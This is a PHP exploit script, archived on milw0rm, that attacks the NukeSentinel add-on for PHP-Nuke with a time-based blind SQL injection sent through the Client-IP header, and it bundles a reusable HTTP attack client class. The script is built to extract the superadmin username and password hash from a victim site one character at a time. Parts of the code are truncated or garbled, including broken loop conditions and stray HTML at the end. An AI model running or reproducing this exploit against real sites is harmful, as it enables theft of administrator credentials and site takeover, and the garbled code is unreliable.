#!/usr/bin/php = 4.0.24) Exploit --- ----------------------------------------------------------------------- PHP conditions: none CMS conditions: disable_switch<=0 (module activated), track_active=1 Credits: DarkFig URL: http://www.acid-root.new.fr/ ----------------------------------------------------------------------- Usage: $argv[0] -url <> [Options] Params: -url For example http://victim.com/phpnuke/ Options: -prefix Table prefix (default=nuke) -debug Debug mod activated (debug_ns.html) -truetime Server response time which returns true -benchmark You can change the value used in benchmark() -proxy If you wanna use a proxy -proxyauth Basic authentification Example: $argv[0] -url http://localhost/phpnuke/ -debug Note: This exploit is based on the server response time If you have some problems use -debug, -benchmark, -truetime ----------------------------------------------------------------------- ");exit(1); } $url = getparam("url",1); $tblprfix = (getparam("prefix")!="") ? getparam("prefix") : 'nuke'; $debug = (getparam("debug")!="") ? 1 : 0; $benchmark = (getparam("benchmark")!="") ? getparam("benchmark") : '100000000'; $proxy = getparam("proxy"); $proxyauth = getparam("proxyauth"); $xpl = new phpsploit(); $xpl->agent('Mozilla Firefox'); $xpl->allowredirection(0); $xpl->cookiejar(0); if($proxy) $xpl->proxy($proxy); if($proxyauth) $xpl->proxyauth($proxyauth); if($debug) debug(1); print "\nUsername: ";bruteforce('aid'); print "\nPassword: ";bruteforce('pwd'); exit(0); function bruteforce($field) { global $url,$xpl,$tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result; $a=0;$v='';$dfield=$field; if(eregi('a',$field)) { $b='-1';$c='127';} # aid charset else { $b='46';$c='70'; } # pwd charset while(TRUE) { $a++; for($e=$b;$e<=$c;$e++) { $fak = rand(128,254).'.' .rand(128,254).'.' .rand(128,254).'.' .rand(128,254); if($e==$b) $f="TST"; elseif($e==($b+1)) $f="NULL"; else $f=$e; # $db->sql_query("INSERT INTO `".$prefix."_nsnst_tracked_ips` (`user_id`, `username`, `date`, # `ip_addr`, `ip_long`, `page`, `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`, # `remote_port`, `request_method`, `c2c`) VALUES ('".$nsnst_const['ban_user_id']."', '$ban_username2', # '".$nsnst_const['ban_time']."', '".$nsnst_const['remote_ip']."', '".$nsnst_const['remote_long']."', # '$pg', '$user_agent', '$refered_from', '".$nsnst_const['forward_ip']."', '".$nsnst_const['client_ip']."', # '".$nsnst_const['remote_addr']."', '".$nsnst_const['remote_port']."', '".$nsnst_const['request_method']."', # '$c2c')"); # $sql = "(SELECT IF((SUBSTR("; $sql .= ($f=="TST") ? "(SELECT 1)" : "(SELECT $field FROM ${tblprfix}_authors WHERE radminsuper=1)"; $sql .= ($f=="TST") ? ",1" : ",$a"; $sql .= ",1)=CHAR("; $sql .= ($f=="TST") ? "49" : "$f"; $sql .= ")),BENCHMARK($benchmark,CHAR(66))"; $sql .= ",1)),1,1,1,1,1,1,1,1,1)/*"; $bef = time(); $xpl->reset("header"); # 2.5.06 CHANGES (2007-03-02): # + Corrected a problem causing valid ip users to be tagged as invalid users # ...The old sploit will not work for this version but it's always vulnerable, you missed something. # # if(!ereg("^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})", $nsnst_const['remote_ip'])) # {$nsnst_const['remote_ip'] = "none"; } # $xpl->addheader("Client-IP","$fak',$sql"); $xpl->get($url); $aft = time(); if($f=="TST") $truetime=($aft-$bef); if(getparam("truetime")!="") $truetime = getparam("truetime"); if((($aft-$bef) >= $truetime) AND ($f != "TST")) $result='TRUE'; else $result='FALSE'; if($debug) debug(); if($result=='TRUE') { if($f != "NULL") { print strtolower(chr($f)); $v .= chr($f); break; } else { return $v; } } # Retry if no char found if($f==$c) $a--; } } } function debug($first='') { global $tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result; if($first) { $handle = fopen("debug_ns.html","w+"); $data = "

NukeSentinel <= 2.5.06 SQL Injection (Debug)

";
		# 
		$data .= "";
		fwrite($handle,$data);
		fclose($handle);
	}
	else
	{
		$handle = fopen("debug_ns.html","a");
		$data   = "
		";
		# 
		$data .= "";
		fwrite($handle,$data);
		fclose($handle);
	}
}

function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) {
		   if(!empty($argv[$value+1])) return $argv[$value+1];
		   else return 1;
		}
	}
	if($opt) exit("\n-$param parameter required");
	else return;
}

/*
 *
 * Copyright (C) darkfig
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
 * VERSION:        1.2
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 *
 */

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
		else $socket = fsockopen($this->host,$this->port);

		if(!$socket) die("Error: The host doesn't exist");

		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
		elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
		else die("Error: Invalid method");

		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
		$this->packet .= "Host: ".$this->host."\r\n";

		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
		if(!empty($this->header)) $this->packet .= $this->header."\r\n";
		if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";

		$this->packet .= "Connection: Close\r\n";
		if($this->method==="post")
		{
			$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
			$this->packet .= $this->data."\r\n";
		}
		elseif($this->method==="formdata")
		{
			$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
			$this->packet .= $this->data;
		}
		$this->packet .= "\r\n";
		$this->recv = '';

		fputs($socket,$this->packet);
		while(!feof($socket)) $this->recv .= fgets($socket);
		fclose($socket);

		if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
		if($this->allowredirection) return $this->allowredirection($this->recv);
		else return $this->recv;
	}


	/**
	 * This function allows you to add several cookie in the
	 * request. Several methods are supported:
	 *
	 * $this->addcookie("name","value");
	 * or
	 * $this->addcookie("name=newvalue");
	 * or
	 * $this->addcookie("othername=overvalue; xx=zz; y=u");
	 *
	 * @param string $cookiename
	 * @param string $cookievalue
	 *
	 */
	public function addcookie($cookn,$cookv='')
	{
		// $this->addcookie("name","value"); work avec replace
		if(!empty($cookv))
		{
			if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
			if(!empty($this->cookie))
			{
			    if(preg_match("/$cookn=/",$this->cookie))
			    {
			    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
			    }
			    else
			    {
			    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
			    }
			}
			else
			{
				$this->cookie = $cookn."=".$cookv.";";
			}
		}
		// $this->addcookie("name=value; othername=othervalue");
		else
		{
	    	 if(!empty($this->cookie))
	    	 {
	    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
	    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
	    	 	for($i=0;$iaddcookie($cookn,$cookv);
	    	 	}
	    	 }
			 else
			 {
			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
			 	$this->cookie = $cookn;
			 }
		}
	}


	/**
	 * This function allows you to add several headers in the
	 * request. Several methods are supported:
	 *
	 * $this->addheader("headername","headervalue");
	 * or
	 * $this->addheader("headername: headervalue");
	 *
	 * @param string $headername
	 * @param string $headervalue
	 */
	public function addheader($headern,$headervalue='')
	{
		// $this->addheader("name","value");
		if(!empty($headervalue))
		{
			if(!empty($this->header))
			{
				if(preg_match("/$headern:/",$this->header))
				{
					$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
				}
				else
				{
					$this->header .= "\r\n".$headern.": ".$headervalue;
				}
			}
			else
			{
				$this->header=$headern.": ".$headervalue;
			}
		}
		// $this->addheader("name: value");
		else
		{
			if(!empty($this->header))
			{
				$headarr = explode(": ",$headern);
				$headern = $headarr[0];
				$headerv = $headarr[1];
				$this->addheader($headern,$headerv);
			}
			else
			{
				$this->header=$headern;
			}
		}
	}


	/**
	 * This function allows you to use an http proxy server.
	 * Several methods are supported:
	 *
	 * $this->proxy("proxyip","8118");
	 * or
	 * $this->proxy("proxyip:8118")
	 *
	 * @param string $proxyhost
	 * @param integer $proxyport
	 */
	public function proxy($proxy,$proxyp='')
	{
		// $this->proxy("localhost:8118");
		if(empty($proxyp))
		{
			preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
			$proxh = $proxarr[1];
			$proxp = $proxarr[2];
			$this->proxyhost=$proxh;
			$this->proxyport=$proxp;
		}
		// $this->proxy("localhost",8118);
		else
		{
			$this->proxyhost=$proxy;
			$this->proxyport=intval($proxyp);
		}
		if($this->proxyport > 65535) die("Error: Invalid port number");
	}


	/**
	 * This function allows you to use an http proxy server
	 * which requires a basic authentification. Several
	 * methods are supported:
	 *
	 * $this->proxyauth("darkfig","dapasswd");
	 * or
	 * $this->proxyauth("darkfig:dapasswd");
	 *
	 * @param string $proxyuser
	 * @param string $proxypass
	 */
	public function proxyauth($proxyauth,$proxypasse='')
	{
		// $this->proxyauth("darkfig:password");
		if(empty($proxypasse))
		{
			preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
			$proxu = $proxautharr[1];
			$proxp = $proxautharr[2];
			$this->proxyuser=$proxu;
			$this->proxypass=$proxp;
		}
		// $this->proxyauth("darkfig","password");
		else
		{
			$this->proxyuser=$proxyauth;
			$this->proxypass=$proxypasse;
		}
	}


	/**
	 * This function allows you to set the "User-Agent" header.
	 * Several methods are possible to do that:
	 *
	 * $this->agent("Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent: Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent","Mozilla Firefox");
	 *
	 * @param string $useragent
	 */
	public function agent($useragent)
	{
		$this->agent=$useragent;
	}


	/**
	 * This function returns the header which will be
	 * in the next request.
	 *
	 * $this->showheader();
	 *
	 * @return $header
	 */
	public function showheader()
	{
		return $this->header;
	}


	/**
	 * This function returns the cookie which will be
	 * in the next request.
	 *
	 * $this->showcookie();
	 *
	 * @return $storedcookies
	 */
	public function showcookie()
	{
		return $this->cookie;
	}


	/**
	 * This function returns the last formed
	 * http request (the http packet).
	 *
	 * $this->showlastrequest();
	 *
	 * @return $last_http_request
	 */
	public function showlastrequest()
	{
		return $this->packet;
	}


	/**
	 * This function sends the formed http packet with the
	 * GET method. You can precise the port of the host.
	 *
	 * $this->get("http://localhost");
	 * $this->get("http://localhost:888/xd/tst.php");
	 *
	 * @param string $urlwithpath
	 * @return $server_response
	 */
	public function get($url)
	{
		$this->target($url);
		$this->method="get";
		return $this->sock();
	}


	/**
	 * This function sends the formed http packet with the
	 * POST method. You can precise the port of the host.
	 *
	 * $this->post("http://localhost/index.php","admin=1&user=dark");
	 *
	 * @param string $urlwithpath
	 * @param string $postdata
	 * @return $server_response
	 */
	public function post($url,$data)
	{
		$this->target($url);
		$this->method="post";
		$this->data=$data;
		return $this->sock();
	}


	/**
	 * This function sends the formed http packet with the
	 * POST method using the multipart/form-data enctype.
	 *
	 * $array = array(
	 *          frmdt_url      => "http://localhost/upload.php",
	 *          frmdt_boundary => "123456",                    # Optional
	 *                 "email" => "me@u.com",
	 *               "varname" => array(
	 *                            frmdt_type => "image/gif",   # Optional
	 *                       frmdt_transfert => "binary",      # Optional
	 *                        frmdt_filename => "hello.php",
	 *                         frmdt_content => ""));
	 * $this->formdata($array);
	 *
	 * @param array $array
	 * @return $server_response
	 */
	public function formdata($array)
	{
		$this->target($array[frmdt_url]);
		$this->method="formdata";
		$this->data='';
		if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
		else $this->boundary=$array[frmdt_boundary];
		foreach($array as $key => $value)
		{
			if(!preg_match("#^frmdt_(boundary|url)#",$key))
			{
				$this->data .= "-----------------------------".$this->boundary."\r\n";
				$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
				if(!is_array($value))
				{
					$this->data .= "\r\n\r\n".$value."\r\n";
				}
				else
				{
					$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
					if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
					if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
					$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
				}
			}
		}
		$this->data .= "-----------------------------".$this->boundary."--\r\n";
		return $this->sock();
	}


	/**
	 * This function returns the content of the server response
	 * without the headers.
	 *
	 * $this->getcontent($this->get("http://localhost/"));
	 * or
	 * $this->getcontent();
	 *
	 * @param string $server_response
	 * @return $onlythecontent
	 */
	public function getcontent($code='')
	{
		if(empty($code)) $code = $this->recv;
		$content = explode("\n",$code);
		$onlycode = '';
		for($i=1;$igetheader($this->post("http://localhost/x.php","x=1&z=2"));
	 * or
	 * $this->getheader();
	 *
	 * @param string $server_response
	 * @return $onlytheheaders
	 */
	public function getheader($code='')
	{
		if(empty($code)) $code = $this->recv;
		$header = explode("\n",$code);
		$onlyheader = $header[0]."\n";
		for($i=1;$iaddcookie($cookn,$cookv);
		}
    }


	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it.
	 *
	 * @param string $urltarg
	 */
	private function target($urltarg)
	{
		if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
		$this->url=$urltarg;

		$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
		$this->host=$array[0];

		preg_match("/:(\d+)\//",$urltarg,$matches);
		$this->port=empty($matches[1]) ? 80 : $matches[1];

		$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
		preg_match("/\/(.*)\//",$temp,$matches);
		$this->path=str_replace("//","/","/".$matches[1]."/");

		if($this->port > 65535) die("Error: Invalid port number");
	}


	/**
	 * If you call this function, the script will
	 * extract all "Set-Cookie" headers values
	 * and it will automatically add them into the "Cookie" header
	 * for all next requests.
	 *
	 * $this->cookiejar(1); // enabled
	 * $this->cookiejar(0); // disabled
	 *
	 */
	public function cookiejar($code)
	{
		if($code===0) $this->cookiejar='';
		if($code===1) $this->cookiejar=1;
		else
		{
			$this->getcookie($code);
		}
	}


	/**
	 * If you call this function, the script will
	 * follow all redirections sent by the server.
	 *
	 * $this->allowredirection(1); // enabled
	 * $this->allowredirection(0); // disabled
	 *
	 * @return $this->get($locationresponse)
	 */
	public function allowredirection($code)
	{
		if($code===0) $this->allowredirection='';
		if($code===1) $this->allowredirection=1;
		else
		{
			if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
			{
				$location = str_replace(chr(13),'',$codearr[2]);
				if(!eregi("://",$location))
				{
					return $this->get("http://".$this->host.$this->path.$location);
				}
				else
				{
					return $this->get($location);
				}
			}
			else
			{
				return $code;
			}
		}
	}


	/**
	 * This function allows you to reset some parameters:
	 *
	 * $this->reset(header); // headers cleaned
	 * $this->reset(cookie); // cookies cleaned
	 * $this->reset();       // clean all parameters
	 *
	 * @param string $func
	 */
	public function reset($func='')
	{
		switch($func)
		{
			case "header":
			$this->header='';
			break;

			case "cookie":
			$this->cookie='';
			break;

			default:
		        $this->cookiejar='';
		        $this->header='';
		        $this->cookie='';
		        $this->allowredirection='';
		        $this->agent='';
		        break;
		}
	}
}
?>

# milw0rm.com [2007-03-10]

		REQUEST TIME
		RESPONSE TIME
		TRUETIME
		BENCHMARK
		RESULTIPFIELD
		CHARSET
		SUBSTR()
		ORD()
		CHAR() ".htmlentities($aft)." 
		 ".htmlentities($truetime)." 
		 ".htmlentities($benchmark)." 
		 ".htmlentities($result)."  ".htmlentities($fak)."  ".htmlentities($dfield)." 
		 ".htmlentities("$b-$c")." 
		 ".htmlentities($a)." 
		 ".htmlentities($f)." 
		 ".htmlentities(chr($f))."